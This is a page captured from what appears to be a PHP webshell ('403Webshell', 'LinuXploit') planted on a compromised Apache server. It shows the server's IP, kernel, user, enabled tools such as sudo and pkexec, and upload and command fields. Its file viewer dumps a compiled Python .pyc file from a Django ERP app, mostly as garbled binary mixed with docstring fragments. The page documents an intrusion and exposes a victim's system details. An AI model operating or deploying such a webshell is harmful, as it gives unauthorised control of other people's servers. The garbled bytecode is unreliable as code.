403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla_views/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla_views/__pycache__/cbv_methods.cpython-310.pyc
o

hͦh�?�!@s2dZddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZmZdd
lmZddlmZddlmZm Z ddl!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(ddl)m*Z*ddl+m,Z,ddl-m.Z.ddl/m0Z1ddl2m3Z3ddl4m5Z5ddl6m7Z7ej8e
j9ddid�ej:e
j;ddd�d�ej<e
j;ddd�d�ej=e
�>dd d!d"��ej?e
j@ddid�ejAe
j@ddid�ejBe
j@ddid�ejCe
jDddid�ejEe
jFd#dd�d�ejGe
jHd#dd�d�ejIe
jJd$dd�d�ejKe
�Ldd%i�eje
�Ldd%i�ejMe
jNdd&id�ejOe
�Ldd%i�iZPej8e
j8ej=e
j8ej?e
j?ejAe
jAejBe
jBej:e
j<ej<e
j<ejCe
jCejEe
jEejGe
jGejIe
jIejKe
jKeje
jQejMe
jRejOe
jQiZSd'ZTd(d)�ZUd*d+�ZVeUd,d-��ZWeUd.ejXfd/d0��ZYd1d2�ZZd3d4�Z[e$j\d5d6�d7d8��Z]d9e^fd:d;�Z_	<		dkd=e`d>e^d?e`d@ead9e`f
dAdB�ZbdldDdE�ZcdmdGeadHe`fdIdJ�ZddKeedLe^dMeefdNdO�ZfGdPdQ�dQ�ZgdRejXdSe`fdTdU�Zh	WdndXe`dVe`dYeifdZd[�Zjd\d]�Zkd.ejXd^e`d9eefd_d`�Zld.ejXdaemd9e^fdbdc�Znddde�ZodfeedRemd9efdgdh�Zpdidj�ZqdS)oz
horilla/cbv_methods.py
�N)�Any)�	urlencode)�logger)�forms�template)�messages)�cache)�	Paginator)�models)�
ForeignKey)�ForwardManyToOneDescriptor�ReverseOneToOneDescriptor)�HttpResponse)�	get_token)�redirect�render)�loader)�register)�render_to_string)�reverse)�lazy)�format_html)�
SafeString)�gettext_lazy)�settings)�_thread_locals)�getattribute�classzoh-input w-100)�attrs�file)�typer��()r�rows�cols�date�timezoh-select oh-select-2 w-100z/oh-select oh-select-2 select2-hidden-accessible))�z
----------)T�Yes)F�Noc��fdd�}|S)z�
    Decorator that allows decorators to accept arguments and keyword arguments.

    Args:
        decorator (function): The decorator function to be wrapped.

    Returns:
        function: The wrapper function.

    cs���fdd�}|S)a
        Wrapper function that captures the arguments and keyword arguments.

        Args:
            *args: Variable length argument list.
            **kwargs: Arbitrary keyword arguments.

        Returns:
            function: The inner wrapper function.

        cs�|g��Ri���S)z�
            Inner wrapper function that applies the decorator to the function.

            Args:
                func (function): The function to be decorated.

            Returns:
                function: The decorated function.

            �)�func)�args�	decorator�kwargsr+�)/var/www/erp/horilla_views/cbv_methods.py�
inner_wrapper|sz@decorator_with_arguments.<locals>.wrapper.<locals>.inner_wrapperr+)r-r/r1�r.)r-r/r0�wrapperos

z)decorator_with_arguments.<locals>.wrapperr+)r.r3r+r2r0�decorator_with_argumentscsr4cr*)z2
    Decorator to check authenticity of users
    c
s:ttd�}t|dd�s||_|j}|�dd�d���dd���}|dkr'd}||jd	<|d
ks4|dkr;d��|jd	<|j	j
s]td�}t|j
�}|�d
|j��}|rY|d|��7}t|�Sz�||g|�Ri|��}	W|	Sty�}
z$t�|
�tjs�t|d�WYd}
~
S�|g|�Ri|��WYd}
~
Sd}
~
ww)N�request�/r!��-� �PMS�Performance�titler'�	Dashboard�loginz?next=�&zwent_wrong.html)�getattrrr5�path�split�
capitalize�replace�upper�session�user�is_authenticatedrr�GETr�	Exceptionr�	exceptionr�DEBUGr)�selfr-r/r5rA�res�	login_url�params�urlr,�e��	view_funcr+r0�wrapped_view�s6
 

�
"��z$login_required.<locals>.wrapped_viewr+)rTrUr+rSr0�login_required�srVcs��fdd�}|S)z0
    Decorator to validate user permissions
    cs�ttd�}t|dd�s||_|j���r�|g|�Ri|��St�|d�|j�dd�}d}||j�	�vr:t
|d�Sd|�d�}t|�S)	Nr5zYou dont have permission.�HTTP_REFERERr6�HTTP_HX_REQUEST�decorator_404.html� <script>window.location.href = "�
"</script>)r@rr5rG�has_permr�info�META�get�keysrr)rMr-r/r5�previous_url�key�script��function�permr+r0�	_function�s

z&permission_required.<locals>._functionr+)rerfrgr+rdr0�permission_required�srh�model_classcs���fdd�}|S)z?
    Decorator for check feature enabled in singlton model
    c	s��j��}t|�d�}|r�||g|�Ri|��St�|td��|j�dd�}d}||j��vr6t	|d�Sd|�d�}t
|�S)	NFz&Feature is not enabled on the settingsrWr6rXrYrZr[)�objects�firstr@rr]�_transr^r_r`rr)	rMr5r-r/�general_setting�enabledrarbrc��feature_namererir+r0rg�s

z(check_feature_enabled.<locals>._functionr+)rerprirgr+ror0�check_feature_enabled�s
rqcr*)z>
    Decorator method that only allow HTMX metod to enter
    cs2d}||j��vrt|d�S�|g|�Ri|��S)NrXz405.html)r^r`r)r5r-r/rb�rer+r0rg�s
z&hx_request_required.<locals>._functionr+)rergr+rrr0�hx_request_required�srscCstdt|��S)Nz;<input type="hidden" name="csrfmiddlewaretoken" value="{}">)rr)r5r+r+r0�
csrf_input�s�rtT)�
takes_contextcCs4z|d}Wn	ttd�}Ytttt�}||�S)z@
    to access csrf token inside the render_template method
    r5)r@rrrtr�str)�contextr5�csrf_input_lazyr+r+r0�
csrf_token�sry�returncCs~t|dd�dur<i}tjdddD]}|�dd�\}}t||gd�}t||�}||�}|�|�qt|�|d	<||_|jS)
zI
    This method will return dictionary format of context processors
    �all_context_variablesNr�OPTIONS�context_processors�.r7)�fromlistry)r@r�	TEMPLATES�rsplit�
__import__�updateryr{)r5r{�processor_path�module_path�	func_name�moduler,rwr+r+r0�get_all_context_variabless
r��utf-8rArw�decoding�statuscCs^ttdd�}|�t|��t�|�}|jj}t�|�}t�	|�}	|�
|	�}
t|
|d�j�
|�S)z?
    This method is used to render HTML text with context.
    r5N)r�)r@rr�r�r�get_templater�source�Template�Contextrr�content�decode)rArwr�r��_usingr5�template_loader�
template_body�template_bdy�context_instance�rendered_contentr+r+r0�render_templates



r��2cCst||�}|�|�}|S)z2
    This method is used to paginate queryset
    )r	�get_page)�qryset�page_number�records_per_page�	paginatorr+r+r0�
paginator_qry(s

r��hlv�length�prefixcCs*tt��j�}|t|d|���dd�S)z&
    Short uuid generating method
    Nr8r')rv�uuid�uuid4�hexrD)r�r��uuid_strr+r+r0�get_short_uuid1sr�r5r�viewcCsN|�|jjd�r|�|jjd��|ii�dS|�|jjd|ii�dS)N�cbv)r_rF�session_keyr��set)r5rr�r+r+r0�update_initial_cache9s
r�c@s4eZdZUdZeed<dZeed<defdd�ZdS)	�ReverseTrr'�pagerzcCs
t|j�S)N)rvr)rMr+r+r0�__str__Fs
zReverse.__str__N)	�__name__�
__module__�__qualname__r�bool�__annotations__r�rvr�r+r+r+r0r�Bs
r��value�attrcCs�|}|�d�}|D]=}t||�rt||�}t|t�r|jj}q	t|d�r4t|jt�r4t|jjj	|d�}q	t|d�rFt|t
�rFt|jj|d�}q	|S)zL
    Gets an attribute of a model dynamically, handling related fields.
    �__�fieldN�related)rB�hasattrr@�
isinstancerr��
related_modelr�remote_field�modelr
r�)r�r��resultrr+r+r0�getmodelattributeJs 



���r�r�Frb�
is_first_sortcs�ttdd�}||�t�|jjd�s2t�|jjdt��|�|�s%dn|�|�t�|jjd�_t�|jjd�}|j	}g�g}|j
}	t|	��}
t|
t
j�}|sn|jdi��d�di��}t|jddd���|j�d	�}��fd
d�}|}
|�|�}|s�|r�|
}
|j|kr�|s�|
}
||_z	t|||
d�}Wnty�t|j�d	��}t|j�d	�||
d�}Ynw|
|_	|
r�d
}
t|�t|�}n
t|�t|�}d}
t|d|
�t|d��t�|jjd|�|S)z:
    New simplified method to sort the queryset/lists
    r5N�	cbvsortby�1�__isnullT�id)�flat)�id__incs$t|�d�}|dur��|j�|S)N)r�)r�append�pk)�objectr���none_ids�sort_keyr+r0�_sortbywszsortby.<locals>._sortby)rbr�asc�desc�
sort_orderr�r+)r@r�CACHEr_rFr�r�r�r�rr�r�r��types�FunctionType�filter�list�values_list�exclude�sorted�	TypeError�setattr)�
query_dict�querysetrbr�r�r5�reverse_objectr�
none_querysetr��
model_attr�	is_methodr��order�current_pager+r�r0�sortby^sR�

�r�cCsl|�|jj|jd�r"|�|jj|jd��|j|jd��|S|�|jj|jd|j|jd��|S)z(
    Method to save filter on cache
    r�)rAr�)r_rFr�rAr�rIr�)r5rr+r+r0�update_saved_filter_cache�s����r��
field_namecCsBd|vr|�dd�}t||d�jj}t||d�St||�}|S)z:
    Recursion function to execute nested field logic
    r�r7r)rBr�r�r��get_nested_fieldr)rir��splits�related_model_classr�r+r+r0r��s��
r��bulk_update_fieldscCs&i}|D]}t||�}|j||<q|S)z�
    Returns a dictionary mapping field names to their corresponding field classes
    for a given model class, including related fields(one-to-one).
    )r�r�)rir��field_class_mapr�r�r+r+r0�get_field_class_map�s

r�cCs$ttdd�}||d�}td|�}|S)zK
    Render the form fields as HTML table rows with Bootstrap styling.
    r5N)�formr5zgeneric/form.html)r@rr)rMr5rw�
table_htmlr+r+r0�
structured�s�
r�r�cCshddlm}t|tj�rdd�|D�St|tjtjtjtjtj	tj
f�r*|d}|S|t|d��}|S)z;
    return value according to the format of the field
    r)�
eval_validatecSsg|]}t|��qSr+)�int)�.0�valr+r+r0�
<listcomp>�sz"value_to_field.<locals>.<listcomp>)�base.methodsr�r�r
�ManyToManyField�	DateField�
DateTimeField�	CharField�
EmailField�	TextField�	TimeFieldrv)r�r�r�r+r+r0�value_to_field�s"��r�cCsn|��}|��D],\}}||vr0|��D]\}}|||vr(|||�|�q||||<qq|||<q|S)z#
    Method to merge two dicts
    )�copy�items�extend)�dict1�dict2�merged_dictrbr�ri�	instancesr+r+r0�merge_dicts�s�
r)r�NN)r�)r�)r�F)r�__doc__r�r��typingr�urllib.parser�venvr�djangorr�django.contribr�django.core.cacherr��django.core.paginatorr	�	django.dbr
�django.db.models.fields.relatedr�+django.db.models.fields.related_descriptorsrr
�django.httpr�django.middleware.csrfr�django.shortcutsrr�django.templater�django.template.defaultfiltersr�django.template.loaderr�django.urlsr�django.utils.functionalr�django.utils.htmlr�django.utils.safestringr�django.utils.translationrrl�horillar�horilla.horilla_middlewaresr�3horilla_views.templatetags.generic_template_filtersrr��	TextInput�
ImageField�	FileInput�	FileFieldr��Textarea�IntegerField�NumberInput�
FloatField�DecimalFieldr��
EmailInputr��	DateInputr��
DateTimeInputr��	TimeInput�BooleanField�Selectr��SelectMultiple�
OneToOneField�FIELD_WIDGET_MAP�ModelChoiceField�ModelMultipleChoiceField�MODEL_FORM_FIELD_MAP�BOOLEAN_CHOICESr4rVrh�Modelrqrsrt�
simple_tagry�dictr�rvr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr+r+r+r0�<module>s����������%�+#


�����
�
		���
�9


Youez - 2016 - github.com/yon3zu
LinuXploit